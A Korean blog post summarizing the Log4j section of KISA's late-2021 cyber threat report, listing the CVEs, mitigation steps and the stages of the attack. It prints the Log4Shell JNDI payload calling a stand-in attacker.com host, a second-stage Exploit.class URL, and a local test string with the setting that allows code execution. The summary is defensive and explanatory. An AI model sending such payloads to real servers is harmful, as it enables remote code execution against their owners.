woonadz :)

[KISA 보고서] 2021 하반기 사이버 위협 동향 보고서 중 'Log4j' 관련 내용 본문

IT/보안 이슈

[KISA 보고서] 2021 하반기 사이버 위협 동향 보고서 중 'Log4j' 관련 내용

C_scorch 2022. 2. 11. 17:52
반응형

P. 19 ~ P. 28

이슈 : 아파치 웹 서버의 Log4j 서비스에서 보안 취약점이 발견됨.

 

Log4j : 웹 서비스가 동작하는 과정에서 로그를 남길 때 사용되는 Java 기반의 오픈소스 유틸리티이다.

Log4j에서 발견된 취약점

- CVE-2021-44228: Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVSS 점수 10.0, Critical)

- CVE-2021-45046: Apache Log4j 2에서 발생하는 서비스 거부 취약점(CVSS 점수 3.7, Low)

- CVE-2021-4104: Apache Log4j 1.2에서 발생하는 원격코드 실행 취약점(CVSS 점수 8.1, High)

- CVE-2021-45105: Apache Log4j 2에서 발생하는 서비스 거부 취약점(CVSS 점수 N/A)

 

위와 같은 취약점을 이용해 Apache Log4j 라이브러리를 사용하는 서버 및 어플리케이션에 대한 원격 실행이 가능하다.

 

사고 시나리오 : 공격자는 특정 서식이 포함된 로그 메시지를 전달함으로써 임의의 코드를 서버 또는 클라이언트에서 실행시킬 수 있음.

특징

- 공격의 범위가 서버와 클라이언트, 모두를 포함하고 있기 때문에 정확한 영향의 범위를 확인하기 어렵다.

- 대상이 광범위하다.

 

Log4j 취약점 대응 방법

1. 운영중인 서비스나 솔루션, 프로그램들 중 Log4j 사용 여부 확인

2. 사용중인 솔루션, 프로그램의 제조사의 릴리즈 내용을 확인

2-1. 단, Log4j-core JAR 파일 없이 Log4j-api JAR 파일만 사용하는 경우 Log4j 취약점의 영향을 받지 않는다.

3-1. Log4j 업그레이드

3-2. 웹 방화벽 또는 침입방지시스템(IPS) 등을 이용하여 유입되는 트래픽에서 공격코드를 차단할 수 있는 패던을 등록.

 

공격의 요건

1. 취약한 Log4j 버전을 사용하고 있는서버나 서비스가 있는 경우

2. 공격자가 익스플로잇 문자열을 보낼 수 있는 프로토콜(HTTP, TCP 등)이 사용되는 경우

3. 요청에 의한 로그의 결과 문자열을 출력하는 경우

 

공격의 단계

1. 사용자의 데이터는 열려 있는 프로토콜을 통해 서버로 전송한다.

2. 서버는 악성 페이로드를 포함하는 요청 데이터를 기록한다. 

    ${jndi:ldap://attacker.com/a} (attacker.com은 공격자가 제어하는 서버)

3. Log4j취약점이 페이로드에 의해 활성화되고 서버는 "Java Naming and Directory Interface" (JNDI)를 통해 “attacker.com"에 요청을 보낸다.

4. 응답에는 서버 프로세스에서 삽입된 원격 자바 클래스 파일(예 : http://second-stage.attacker.com/ Exploit.class)의 경로를 포함한다.

5. 삽입된 페이로드는 두 번째 단계를 활성화하고, 공격자가 임의의 코드를 실행할 수 있도록 한다.

 

${jndi:ldap://127.0.0.1/e} 채팅에 붙여넣은 후

- 포트 389번에 소켓이 열려 있을 경우, logj4는 연결을 시도하고 시간 초과가 발생할 때까지 추가 통신을 차단한다.

- 만일 “Dcom.sun.jndi.ldap.object.trustURLCodebase=true ”로 설정되어 있는 경우 원격 코드 실행이 발생하게 된다.

반응형